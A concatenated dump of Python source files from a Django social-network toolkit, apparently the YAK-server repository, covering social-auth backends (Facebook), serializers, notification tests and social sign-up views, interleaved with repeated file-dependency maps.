["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,197
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/backends/base.py
import abc class ExtraDataAbstractMixin(object, metaclass=abc.ABCMeta): """ Ensure that backends define these methods. Used in pipeline to save extra data on the user model. """ @abc.abstractmethod def save_extra_data(response, user): return @abc.abstractmethod def get_profile_image(strategy, details, response, uid, user, social, is_new=False, *args, **kwargs): return class ExtraActionsAbstractMixin(object, metaclass=abc.ABCMeta): @abc.abstractmethod def post(user_social_auth, social_obj): return @abc.abstractmethod def get_friends(user_social_auth): return
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,198
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/backends/yak_facebook.py
from django.contrib.auth import get_user_model import facebook from social_core.backends.facebook import FacebookOAuth2 from yak.rest_social_auth.backends.base import ExtraDataAbstractMixin, ExtraActionsAbstractMixin from yak.settings import yak_settings User = get_user_model() class Facebook(ExtraActionsAbstractMixin, ExtraDataAbstractMixin, FacebookOAuth2): @staticmethod def save_extra_data(response, user): if 'email' in response: user.email = response['email'] # TODO: better placement of Location model. What do we do with Twitter or other locations? # if 'location' in response: # if not user.location: # Location.objects.create(name=response["location"]["name"], facebook_id=response["location"]["id"]) # else: # location = user.location # location.name = response['location']['name'] # location.facebook_id = response['location']['id'] if 'bio' in response: user.about = response['bio'] user.save() @staticmethod def get_profile_image(strategy, details, response, uid, user, social, is_new=False, *args, **kwargs): image_url = "https://graph.facebook.com/{}/picture?width=1000&height=1000".format(uid) return image_url @staticmethod def post(user_social_auth, social_obj): graph = facebook.GraphAPI(user_social_auth.extra_data['access_token']) if yak_settings.USE_FACEBOOK_OG: og_info = social_obj.facebook_og_info() action_name = "{}:{}".format(yak_settings.FACEBOOK_OG_NAMESPACE, og_info['action']) object_name = '{}'.format(og_info['object']) object_url = '{}'.format(og_info['url']) graph.put_object("me", action_name, **{object_name: object_url, 'fb:explicitly_shared': True}) else: message = social_obj.create_social_message(user_social_auth.provider) link = social_obj.url() graph.put_object("me", "feed", message=message, link=link) @staticmethod def get_friends(user_social_auth): graph = facebook.GraphAPI(user_social_auth.extra_data['access_token']) facebook_friends = graph.get_connections("me", "friends") friends = User.objects.filter(social_auth__provider='facebook', social_auth__uid__in=[user["id"] for user in facebook_friends['data']]) return friends
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,199
jaydenwindle/YAK-server
refs/heads/master
/test_project/test_app/api/serializers.py
from django.contrib.auth import get_user_model from rest_framework import serializers from test_project.test_app.models import Post from yak.rest_core.serializers import YAKModelSerializer from yak.rest_social_network.serializers import LikedMixin, FollowedMixin from yak.rest_user.serializers import AuthSerializerMixin User = get_user_model() class ProjectUserSerializer(FollowedMixin, AuthSerializerMixin, YAKModelSerializer): class Meta: model = User fields = ('email', 'id', 'username', 'fullname', 'thumbnail', 'original_photo', 'small_photo', 'large_photo', 'about', 'user_following_count', 'user_followers_count', 'follow_id') follow_id = serializers.SerializerMethodField() class PostSerializer(YAKModelSerializer, LikedMixin): user = ProjectUserSerializer(read_only=True, default=serializers.CurrentUserDefault()) liked_id = serializers.SerializerMethodField() class Meta: model = Post fields = ('id', 'user', 'title', 'description', 'thumbnail', 'liked_id') class ArticleSerializer(YAKModelSerializer, LikedMixin): liked_id = serializers.SerializerMethodField() class Meta: model = Post fields = ('id', 'title', 'thumbnail', 'liked_id')
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,200
jaydenwindle/YAK-server
refs/heads/master
/test_project/test_app/tests/test_notifications.py
from unittest import mock from unittest.mock import patch from django.contrib.auth import get_user_model from django.contrib.contenttypes.models import ContentType from django.core import mail from rest_framework.reverse import reverse from test_project import settings from test_project.test_app.models import Post, Article from test_project.test_app.tests.factories import PostFactory, UserFactory from yak.rest_core.test import SchemaTestCase from yak.rest_notifications.models import create_notification, Notification, NotificationSetting, NotificationType from yak.rest_notifications.utils import send_email_notification, send_push_notification from yak.settings import yak_settings User = get_user_model() def mockPushNotificationHandler(receiver, message, deep_link=None): return {"hello": "world"} class NotificationsTestCase(SchemaTestCase): def setUp(self): super(NotificationsTestCase, self).setUp() self.social_obj = PostFactory() self.receiver = UserFactory() self.reporter = UserFactory() self.notification_type = NotificationType.objects.get(slug="comment") patcher = patch('yak.rest_notifications.utils.submit_to_pushwoosh') self.addCleanup(patcher.stop) self.mock_submit_to_pushwoosh = patcher.start() self.mock_submit_to_pushwoosh.return_value = {"status_code": 200} @mock.patch('pypushwoosh.client.PushwooshClient.invoke') def test_create_pushwoosh_token(self, mock_pushwoosh_client): mock_pushwoosh_client.return_value = {"status_code": 200} url = reverse("pushwoosh_token") data = { "token": "ABC123", "language": "en", "hwid": "XYZ456", "platform": "ios" } self.assertSchemaPost(url, "$pushwooshTokenRequest", "$pushwooshTokenResponse", data, self.receiver) # Non-authenticated users can't create a token self.assertSchemaPost(url, "$pushwooshTokenRequest", "$pushwooshTokenResponse", data, None, unauthorized=True) # Can't create token if write-only language and hwid data is missing bad_data = { "token": "ABC123" } self.add_credentials(self.receiver) response = self.client.post(url, bad_data, format="json") self.assertHttpBadRequest(response) def test_email_notification_sent(self): message = "<h1>You have a notification!</h1>" send_email_notification(self.receiver, message) self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].subject, yak_settings.EMAIL_NOTIFICATION_SUBJECT) self.assertEqual(mail.outbox[0].body, "You have a notification!") self.assertEqual(mail.outbox[0].alternatives, [(message, "text/html")]) def test_push_notification_sent(self): message = "<h1>You have a notification!</h1>" response = send_push_notification(self.receiver, message) self.assertEqual(response["status_code"], 200) @mock.patch('yak.rest_notifications.utils.yak_settings') def test_push_notification_sent_custom_handler(self, mock_settings): mock_settings.PUSH_NOTIFICATION_HANDLER = "test_project.test_app.tests." \ "test_notifications.mockPushNotificationHandler" message = "<h1>You have a notification!</h1>" response = send_push_notification(self.receiver, message) self.assertEqual(response["hello"], "world") def test_create_notification(self): notification_count = Notification.objects.count() # If receiver is the same as the reporter, a notification is not created create_notification(self.receiver, self.receiver, self.social_obj, self.notification_type) self.assertEqual(notification_count, Notification.objects.count()) # If the receiver and reporter are different, a notification is created create_notification(self.receiver, self.reporter, self.social_obj, self.notification_type) self.assertEqual(notification_count + 1, Notification.objects.count()) def test_correct_notification_type_sent(self): setting = NotificationSetting.objects.get(notification_type=self.notification_type, user=self.receiver) # An email and a push are sent if allow_email and allow_push are True create_notification(self.receiver, self.reporter, self.social_obj, self.notification_type) self.assertEqual(len(mail.outbox), 1) self.assertTrue(len(self.mock_submit_to_pushwoosh.mock_calls), 1) # No new email is sent if allow_email is False setting.allow_email = False setting.save() create_notification(self.receiver, self.reporter, self.social_obj, self.notification_type) self.assertEqual(len(mail.outbox), 1) self.assertTrue(len(self.mock_submit_to_pushwoosh.mock_calls), 2) # If allow_push is False and allow_email True, an email is sent and a push isn't setting.allow_email = True setting.allow_push = False setting.save() create_notification(self.receiver, self.reporter, self.social_obj, self.notification_type) self.assertEqual(len(mail.outbox), 2) self.assertTrue(len(self.mock_submit_to_pushwoosh.mock_calls), 2) def test_can_only_see_own_notifications(self): create_notification(self.receiver, self.reporter, self.social_obj, self.notification_type) create_notification(self.reporter, self.receiver, self.social_obj, self.notification_type) # Notifications serialized with thumbnails post = PostFactory() post.thumbnail = settings.PROJECT_ROOT + "/test_app/tests/img/yeti.jpg" post.save() create_notification(self.receiver, self.reporter, post, self.notification_type) url = reverse("notifications") response = self.assertSchemaGet(url, None, "$notificationResponse", self.receiver) self.assertEqual(response.data["count"], self.receiver.notifications_received.count()) def test_content_object_serialization(self): """ Content object is serialized using the standard serialization for that object type The `content_objectt` key is replaced for each different type of object serialized """ article = Article.objects.create(title="Cool article") user = UserFactory() create_notification(user, self.reporter, self.social_obj, self.notification_type) create_notification(user, self.receiver, article, self.notification_type) url = reverse("notifications") response = self.assertSchemaGet(url, None, "$notificationResponse", user) self.assertEqual(response.data["count"], 2) self.assertIn("article", response.data["results"][0]) self.assertNotIn("post", response.data["results"][0]) self.assertIn("post", response.data["results"][1]) self.assertNotIn("article", response.data["results"][1]) def test_comment_creates_notification(self): url = reverse("comments-list") content_type = ContentType.objects.get_for_model(Post) data = { "content_type": content_type.pk, "object_id": self.social_obj.pk, "description": "Yeti are cool" } self.assertSchemaPost(url, "$commentRequest", "$commentResponse", data, self.reporter) comment_type = NotificationType.objects.get(slug="comment") notification_count = Notification.objects.filter(user=self.social_obj.user, reporter=self.reporter, content_type=ContentType.objects.get_for_model(Post), notification_type=comment_type).count() self.assertEqual(notification_count, 1) def test_follow_creates_notification(self): url = reverse("follows-list") content_type = ContentType.objects.get_for_model(User) data = { "content_type": content_type.pk, "object_id": self.receiver.pk, } self.assertSchemaPost(url, "$followRequest", "$followResponse", data, self.reporter) follow_type = NotificationType.objects.get(slug="follow") notification_count = Notification.objects.filter(user=self.receiver, reporter=self.reporter, content_type=ContentType.objects.get_for_model(User), notification_type=follow_type).count() self.assertEqual(notification_count, 1) def test_share_creates_notification(self): url = reverse("shares-list") content_type = ContentType.objects.get_for_model(Post) data = { "content_type": content_type.pk, "object_id": self.social_obj.pk, "shared_with": [self.receiver.pk] } self.assertSchemaPost(url, "$shareRequest", "$shareResponse", data, self.reporter) share_type = NotificationType.objects.get(slug="share") notification_count = Notification.objects.filter(user=self.receiver, reporter=self.reporter, content_type=ContentType.objects.get_for_model(Post), notification_type=share_type).count() self.assertEqual(notification_count, 1) def test_like_creates_notification(self): url = reverse("likes-list") content_type = ContentType.objects.get_for_model(Post) data = { "content_type": content_type.pk, "object_id": self.social_obj.pk, } self.assertSchemaPost(url, "$likeRequest", "$likeResponse", data, self.reporter) like_type = NotificationType.objects.get(slug="like") notification_count = Notification.objects.filter(user=self.social_obj.user, reporter=self.reporter, content_type=ContentType.objects.get_for_model(Post), notification_type=like_type).count() self.assertEqual(notification_count, 1) def test_comment_mention_creates_notification(self): """ User receives a notification when their username is @mentioned, even if they are not the owner of the post """ url = reverse("comments-list") content_type = ContentType.objects.get_for_model(Post) data = { "content_type": content_type.pk, "object_id": PostFactory().pk, "description": "@{} look at my cool comment!".format(self.social_obj.user.username) } self.assertSchemaPost(url, "$commentRequest", "$commentResponse", data, self.reporter) mention_type = NotificationType.objects.get(slug="mention") notification_count = Notification.objects.filter(user=self.social_obj.user, reporter=self.reporter, content_type=ContentType.objects.get_for_model(Post), notification_type=mention_type).count() self.assertEqual(notification_count, 1) def test_serialization_when_content_object_deleted(self): mention_notification = NotificationType.objects.get(slug="mention") content_type = ContentType.objects.get_for_model(Post) user = UserFactory() post = PostFactory(user=user) Notification.objects.create(notification_type=mention_notification, content_type=content_type, object_id=post.pk, user=user, reporter=self.reporter) post.delete() other_post = PostFactory(user=user) Notification.objects.create(notification_type=mention_notification, content_type=content_type, object_id=other_post.pk, user=user, reporter=self.reporter) url = reverse("notifications") response = self.assertSchemaGet(url, None, "$notificationResponse", user) self.assertEqual(response.data['count'], 1) self.assertEqual(response.data['results'][0]['post']['id'], other_post.pk) class NotificationSettingsTestCase(SchemaTestCase): def test_can_only_see_own_notification_settings(self): user = UserFactory() UserFactory() url = reverse("notification_settings-list") response = self.assertSchemaGet(url, None, "$notificationSettingResponse", user) self.assertEqual(response.data["count"], NotificationType.objects.count()) def test_can_only_update_own_settings(self): user = UserFactory() other_user = UserFactory() url = reverse("notification_settings-detail", args=[user.notification_settings.first().pk]) data = { "allow_push": False, "allow_email": False } # A user can update their own settings response = self.assertSchemaPatch(url, "$notificationSettingRequest", "$notificationSettingResponse", data, user) self.assertEqual(response.data["id"], user.notification_settings.first().pk) self.assertFalse(response.data["allow_push"]) self.assertFalse(response.data["allow_email"]) # A user cannot update someone else's settings other_url = reverse("notification_settings-detail", args=[other_user.notification_settings.first().pk]) self.assertSchemaPatch(other_url, "$notificationSettingRequest", "$notificationSettingResponse", data, user, unauthorized=True) def test_settings_only_updated_or_listed(self): # Cannot be created or destroyed user = UserFactory() create_url = reverse("notification_settings-list") delete_url = reverse("notification_settings-detail", args=[user.notification_settings.first().pk]) data = { "allow_push": False, "allow_email": False } self.assertSchemaPost(create_url, "$notificationSettingRequest", "$notificationSettingResponse", data, user, unauthorized=True) self.assertSchemaDelete(delete_url, user, unauthorized=True) def test_bulk_update_notification_settings(self): url = reverse("notification_settings-list") user = UserFactory() bad_user = UserFactory() notification_settings = user.notification_settings.all() data = [ {"id": notification_settings[0].pk, "allow_email": False}, {"id": notification_settings[1].pk, "allow_email": False} ] # Can't update another user's notification settings self.assertSchemaPut(url, "$notificationSettingBulkRequest", "$notificationSettingResponse", data, bad_user, forbidden=True) self.assertTrue(NotificationSetting.objects.get(pk=notification_settings[0].pk).allow_email) self.assertSchemaPut(url, "$notificationSettingBulkRequest", "$notificationSettingResponse", data, user) self.assertFalse(NotificationSetting.objects.get(pk=notification_settings[0].pk).allow_email)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,201
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/views.py
import base64 from django.conf import settings from django.contrib.auth import get_user_model from rest_framework import status, generics from rest_framework.decorators import detail_route from rest_framework.exceptions import AuthenticationFailed from rest_framework.permissions import IsAuthenticated from rest_framework.response import Response from social_django.utils import load_strategy from social_django.models import UserSocialAuth from social_django.utils import load_backend from social_core.backends.oauth import BaseOAuth1, BaseOAuth2 from social_core.backends.utils import get_backend from social_core.exceptions import AuthAlreadyAssociated from yak.rest_social_auth.serializers import SocialSignUpSerializer from yak.rest_social_auth.utils import post_social_media from yak.rest_user.serializers import UserSerializer from yak.rest_user.views import SignUp User = get_user_model() class SocialSignUp(SignUp): serializer_class = SocialSignUpSerializer def create(self, request, *args, **kwargs): """ Override `create` instead of `perform_create` to access request request is necessary for `load_strategy` """ serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=True) provider = request.data['provider'] # If this request was made with an authenticated user, try to associate this social account with it authed_user = request.user if not request.user.is_anonymous else None strategy = load_strategy(request) backend = load_backend(strategy=strategy, name=provider, redirect_uri=None) if isinstance(backend, BaseOAuth1): token = { 'oauth_token': request.data['access_token'], 'oauth_token_secret': request.data['access_token_secret'], } elif isinstance(backend, BaseOAuth2): token = request.data['access_token'] try: user = backend.do_auth(token, user=authed_user) except AuthAlreadyAssociated: return Response({"errors": "That social media account is already in use"}, status=status.HTTP_400_BAD_REQUEST) if user and user.is_active: # if the access token was set to an empty string, then save the access token from the request auth_created = user.social_auth.get(provider=provider) if not auth_created.extra_data['access_token']: auth_created.extra_data['access_token'] = token auth_created.save() # Allow client to send up password to complete auth flow if not authed_user and 'password' in request.data: password = base64.decodestring(request.data['password']) user.set_password(password) user.save() # Set instance since we are not calling `serializer.save()` serializer.instance = user headers = self.get_success_headers(serializer.data) return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers) else: return Response({"errors": "Error with social authentication"}, status=status.HTTP_400_BAD_REQUEST) class SocialShareMixin(object): @detail_route(methods=['post'], permission_classes=[IsAuthenticated]) def social_share(self, request, pk): try: user_social_auth = UserSocialAuth.objects.get(user=request.user, provider=request.data['provider']) social_obj = self.get_object() post_social_media(user_social_auth, social_obj) return Response({'status': 'success'}) except UserSocialAuth.DoesNotExist: raise AuthenticationFailed("User is not authenticated with {}".format(request.data['provider'])) class SocialFriends(generics.ListAPIView): queryset = User.objects.all() serializer_class = UserSerializer permission_classes = (IsAuthenticated,) def get_queryset(self): provider = self.request.query_params.get('provider', None) user_social_auth = self.request.user.social_auth.filter(provider=provider).first() if user_social_auth: # `.first()` doesn't fail, it just returns None backend = get_backend(settings.AUTHENTICATION_BACKENDS, provider) friends = backend.get_friends(user_social_auth) return friends else: raise AuthenticationFailed("User is not authenticated with {}".format(provider))
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": 